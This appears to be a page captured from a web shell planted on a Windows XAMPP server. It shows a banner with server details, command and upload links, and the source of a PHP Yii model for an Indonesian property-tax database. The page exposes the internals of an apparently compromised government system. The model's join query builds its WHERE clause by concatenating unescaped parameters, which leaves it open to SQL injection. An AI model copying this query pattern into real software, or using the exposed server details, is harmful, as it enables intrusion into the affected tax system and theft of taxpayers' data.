|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../protected/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* This is the model class for table "pbb.skp_kurang_bayar".
*
* The followings are the available columns in table 'pbb.skp_kurang_bayar':
* @property string $kd_propinsi
* @property string $kd_dati2
* @property string $kd_kecamatan
* @property string $kd_kelurahan
* @property string $kd_blok
* @property string $no_urut
* @property string $kd_jns_op
* @property string $thn_pajak_skp_kb
* @property integer $siklus_skp_kb
* @property string $kd_kanwil
* @property string $kd_kantor
* @property string $kd_tp
* @property string $kd_kls_tanah
* @property string $thn_awal_kls_tanah
* @property string $kd_kls_bng
* @property string $thn_awal_kls_bng
* @property string $tgl_jatuh_tempo_skp_kb
* @property string $luas_bumi_skp_kb
* @property string $luas_bng_skp_kb
* @property string $njop_bumi_skp_kb
* @property string $njop_bng_skp_kb
* @property string $njop_skp_kb
* @property integer $njoptkp_skp_kb
* @property double $njkp_skp_kb
* @property string $pbb_terhutang_skp_kb
* @property string $besar_denda_skp_kb
* @property string $faktor_pengurang_skp_kb
* @property string $pbb_yg_harus_dibayar_skp_kb
* @property string $pbb_sppt
* @property string $status_pembayaran_skp_kb
* @property string $tgl_terbit_skp_kb
* @property string $tgl_cetak_skp_kb
* @property string $nip_pencetak_skp_kb
* @property integer $createdby
* @property string $createdtime
* @property integer $updatedby
* @property string $updatedtime
*/
class SkpKurangBayar extends CBhumieRecord
{
public $indeks_siklus_skp_kb;
public $temp_pbb_terhutang;
public $temp_faktor_pengurang;
public $temp_pbb_yg_harus_dibayar;
/**
* Returns the static model of the specified AR class.
* @param string $className active record class name.
* @return SkpKurangBayar the static model class
*/
public static function model($className=__CLASS__)
{
return parent::model($className);
}
/**
* @return string the associated database table name
*/
public function tableName()
{
return 'pbb.skp_kurang_bayar';
}
/**
* @return array validation rules for model attributes.
*/
public function rules()
{
// NOTE: you should only define rules for those attributes that
// will receive user inputs.
return array(
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_skp_kb, siklus_skp_kb, kd_kanwil, kd_kantor, kd_tp, tgl_jatuh_tempo_skp_kb, njop_skp_kb, njoptkp_skp_kb, njkp_skp_kb, pbb_terhutang_skp_kb, besar_denda_skp_kb, pbb_yg_harus_dibayar_skp_kb, pbb_sppt, tgl_terbit_skp_kb, nip_pencetak_skp_kb', 'required'),
array('siklus_skp_kb, njoptkp_skp_kb', 'numerical', 'integerOnly'=>true),
array('njkp_skp_kb', 'numerical'),
array('kd_propinsi, kd_dati2, kd_kanwil, kd_kantor, kd_tp', 'length', 'max'=>2),
array('kd_kecamatan, kd_kelurahan, kd_blok, kd_kls_tanah, kd_kls_bng', 'length', 'max'=>3),
array('no_urut, thn_pajak_skp_kb, thn_awal_kls_tanah, thn_awal_kls_bng', 'length', 'max'=>4),
array('kd_jns_op, status_pembayaran_skp_kb', 'length', 'max'=>1),
array('nip_pencetak_skp_kb', 'length', 'max'=>18),
array('luas_bumi_skp_kb, luas_bng_skp_kb, njop_bumi_skp_kb, njop_bng_skp_kb, faktor_pengurang_skp_kb, tgl_cetak_skp_kb', 'safe'),
// The following rule is used by search().
// Please remove those attributes that should not be searched.
array('kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_skp_kb, siklus_skp_kb, kd_kanwil, kd_kantor, kd_tp, kd_kls_tanah, thn_awal_kls_tanah, kd_kls_bng, thn_awal_kls_bng, tgl_jatuh_tempo_skp_kb, luas_bumi_skp_kb, luas_bng_skp_kb, njop_bumi_skp_kb, njop_bng_skp_kb, njop_skp_kb, njoptkp_skp_kb, njkp_skp_kb, pbb_terhutang_skp_kb, besar_denda_skp_kb, faktor_pengurang_skp_kb, pbb_yg_harus_dibayar_skp_kb, pbb_sppt, status_pembayaran_skp_kb, tgl_terbit_skp_kb, tgl_cetak_skp_kb, nip_pencetak_skp_kb, createdby, createdtime, updatedby, updatedtime', 'safe', 'on'=>'search'),
);
}
/**
* @return array relational rules.
*/
public function relations()
{
// NOTE: you may need to adjust the relation name and the related
// class name for the relations automatically generated below.
return array(
);
}
/**
* @return array customized attribute labels (name=>label)
*/
public function attributeLabels()
{
return array(
'kd_propinsi' => 'Kd Propinsi',
'kd_dati2' => 'Kd Dati2',
'kd_kecamatan' => 'Kd Kecamatan',
'kd_kelurahan' => 'Kd Kelurahan',
'kd_blok' => 'Kd Blok',
'no_urut' => 'No Urut',
'kd_jns_op' => 'Kd Jns Op',
'thn_pajak_skp_kb' => 'Thn Pajak Skp Kb',
'siklus_skp_kb' => 'Siklus Skp Kb',
'kd_kanwil' => 'Kd Kanwil',
'kd_kantor' => 'Kd Kantor',
'kd_tp' => 'Kd Tp',
'kd_kls_tanah' => 'Kd Kls Tanah',
'thn_awal_kls_tanah' => 'Thn Awal Kls Tanah',
'kd_kls_bng' => 'Kd Kls Bng',
'thn_awal_kls_bng' => 'Thn Awal Kls Bng',
'tgl_jatuh_tempo_skp_kb' => 'Tgl Jatuh Tempo Skp Kb',
'luas_bumi_skp_kb' => 'Luas Bumi Skp Kb',
'luas_bng_skp_kb' => 'Luas Bng Skp Kb',
'njop_bumi_skp_kb' => 'Njop Bumi Skp Kb',
'njop_bng_skp_kb' => 'Njop Bng Skp Kb',
'njop_skp_kb' => 'Njop Skp Kb',
'njoptkp_skp_kb' => 'Njoptkp Skp Kb',
'njkp_skp_kb' => 'Njkp Skp Kb',
'pbb_terhutang_skp_kb' => 'Pbb Terhutang Skp Kb',
'besar_denda_skp_kb' => 'Besar Denda Skp Kb',
'faktor_pengurang_skp_kb' => 'Faktor Pengurang Skp Kb',
'pbb_yg_harus_dibayar_skp_kb' => 'Pbb Yg Harus Dibayar Skp Kb',
'pbb_sppt' => 'Pbb Sppt',
'status_pembayaran_skp_kb' => 'Status Pembayaran Skp Kb',
'tgl_terbit_skp_kb' => 'Tgl Terbit Skp Kb',
'tgl_cetak_skp_kb' => 'Tgl Cetak Skp Kb',
'nip_pencetak_skp_kb' => 'Nip Pencetak Skp Kb',
'createdby' => 'Createdby',
'createdtime' => 'Createdtime',
'updatedby' => 'Updatedby',
'updatedtime' => 'Updatedtime',
);
}
/**
* Retrieves a list of models based on the current search/filter conditions.
* @return CActiveDataProvider the data provider that can return the models based on the search/filter conditions.
*/
public function search()
{
// Warning: Please modify the following code to remove attributes that
// should not be searched.
$criteria=new CDbCriteria;
$criteria->compare('kd_propinsi',$this->kd_propinsi,true);
$criteria->compare('kd_dati2',$this->kd_dati2,true);
$criteria->compare('kd_kecamatan',$this->kd_kecamatan,true);
$criteria->compare('kd_kelurahan',$this->kd_kelurahan,true);
$criteria->compare('kd_blok',$this->kd_blok,true);
$criteria->compare('no_urut',$this->no_urut,true);
$criteria->compare('kd_jns_op',$this->kd_jns_op,true);
$criteria->compare('thn_pajak_skp_kb',$this->thn_pajak_skp_kb,true);
$criteria->compare('siklus_skp_kb',$this->siklus_skp_kb);
$criteria->compare('kd_kanwil',$this->kd_kanwil,true);
$criteria->compare('kd_kantor',$this->kd_kantor,true);
$criteria->compare('kd_tp',$this->kd_tp,true);
$criteria->compare('kd_kls_tanah',$this->kd_kls_tanah,true);
$criteria->compare('thn_awal_kls_tanah',$this->thn_awal_kls_tanah,true);
$criteria->compare('kd_kls_bng',$this->kd_kls_bng,true);
$criteria->compare('thn_awal_kls_bng',$this->thn_awal_kls_bng,true);
$criteria->compare('tgl_jatuh_tempo_skp_kb',$this->tgl_jatuh_tempo_skp_kb,true);
$criteria->compare('luas_bumi_skp_kb',$this->luas_bumi_skp_kb,true);
$criteria->compare('luas_bng_skp_kb',$this->luas_bng_skp_kb,true);
$criteria->compare('njop_bumi_skp_kb',$this->njop_bumi_skp_kb,true);
$criteria->compare('njop_bng_skp_kb',$this->njop_bng_skp_kb,true);
$criteria->compare('njop_skp_kb',$this->njop_skp_kb,true);
$criteria->compare('njoptkp_skp_kb',$this->njoptkp_skp_kb);
$criteria->compare('njkp_skp_kb',$this->njkp_skp_kb);
$criteria->compare('pbb_terhutang_skp_kb',$this->pbb_terhutang_skp_kb,true);
$criteria->compare('besar_denda_skp_kb',$this->besar_denda_skp_kb,true);
$criteria->compare('faktor_pengurang_skp_kb',$this->faktor_pengurang_skp_kb,true);
$criteria->compare('pbb_yg_harus_dibayar_skp_kb',$this->pbb_yg_harus_dibayar_skp_kb,true);
$criteria->compare('pbb_sppt',$this->pbb_sppt,true);
$criteria->compare('status_pembayaran_skp_kb',$this->status_pembayaran_skp_kb,true);
$criteria->compare('tgl_terbit_skp_kb',$this->tgl_terbit_skp_kb,true);
$criteria->compare('tgl_cetak_skp_kb',$this->tgl_cetak_skp_kb,true);
$criteria->compare('nip_pencetak_skp_kb',$this->nip_pencetak_skp_kb,true);
$criteria->compare('createdby',$this->createdby);
$criteria->compare('createdtime',$this->createdtime,true);
$criteria->compare('updatedby',$this->updatedby);
$criteria->compare('updatedtime',$this->updatedtime,true);
return new CActiveDataProvider($this, array(
'criteria'=>$criteria,
));
}
public function infoSkpKurangByrJoinTempDataSppt($kd_kanwil, $kd_kantor, $thn_pelayanan, $bundel_pelayanan,$no_urut_pelayanan,$kd_propinsi_pemohon,$kd_dati2_pemohon,$kd_kecamatan_pemohon,$kd_kelurahan_pemohon,$kd_blok_pemohon,$no_urut_pemohon,$kd_jns_op_pemohon,$thn_pajak_sppt) {
$user = Yii::app()->db->createCommand()
->select("t.siklus_sppt,
t.kd_kanwil,
t.kd_kantor,
t.kd_tp,
TO_CHAR(b.temp_tgl_jatuh_tempo,'DD/MM/YYYY') as tgl_jatuh_tempo_skp_kb,
b.kd_kls_tanah,
b.thn_awal_kls_tanah,
b.kd_kls_bng,
b.thn_awal_kls_bng,
b.temp_luas_bumi,
b.temp_luas_bangunan,
b.temp_njop_bumi,
b.temp_njop_bangunan,
b.temp_njop,
b.temp_njoptkp,
b.temp_njkp,
b.temp_pbb_terhutang,
b.temp_besar_denda,
b.temp_pbb_yg_harus_dibayar,
t.status_pembayaran_skp_kb,
t.faktor_pengurang_skp_kb,
c.pbb_terhutang_sppt,
TO_CHAR(t.tgl_terbit_skp_kb,'DD/MM/YYYY') as tgl_terbit_skp_kb,
TO_CHAR(t.tgl_cetak_skp_kb,'DD/MM/YYYY') as tgl_cetak_skp_kb,
t.nip_pencetak_sppt")
->from('pbb.sppt t')
->join('pbb.temp_data_op b', 'b.kd_propinsi_pemohon = t.kd_propinsi
AND (b.kd_dati2_pemohon = t.kd_dati2)
AND (b.kd_kecamatan_pemohon = t.kd_kecamatan)
AND (b.kd_kelurahan_pemohon = t.kd_kelurahan)
AND (b.kd_blok_pemohon = t.kd_blok)
AND (b.no_urut_pemohon = t.no_urut)
AND (b.kd_jns_op_pemohon = t.kd_jns_op)')
->where('
b.kd_kanwil = \''.$kd_kanwil .'\'
AND b.kd_KANTOR = \''.$kd_kantor.'\'
AND b.thn_pelayanan = \''.$thn_pelayanan.'\'
AND b.bundel_pelayanan = \''.$bundel_pelayanan.'\'
AND b.no_urut_pelayanan = \''.$no_urut_pelayanan.'\'
AND b.kd_propinsi_pemohon = \''.$kd_propinsi_pemohon.'\'
AND b.kd_dati2_pemohon = \''.$kd_dati2_pemohon.'\'
AND b.kd_kecamatan_pemohon = \''.$kd_kecamatan_pemohon.'\'
AND b.kd_kelurahan_pemohon = \''.$kd_kelurahan_pemohon.'\'
AND b.kd_blok_pemohon = \''.$kd_blok_pemohon.'\'
AND b.no_urut_pemohon = \''.$no_urut_pemohon.'\'
AND b.kd_jns_op_pemohon = \''.$kd_jns_op_pemohon.'\'
AND t.thn_pajak_sppt = \''.$thn_pajak_sppt.'\'
')
->queryRow();
return $user;
}
}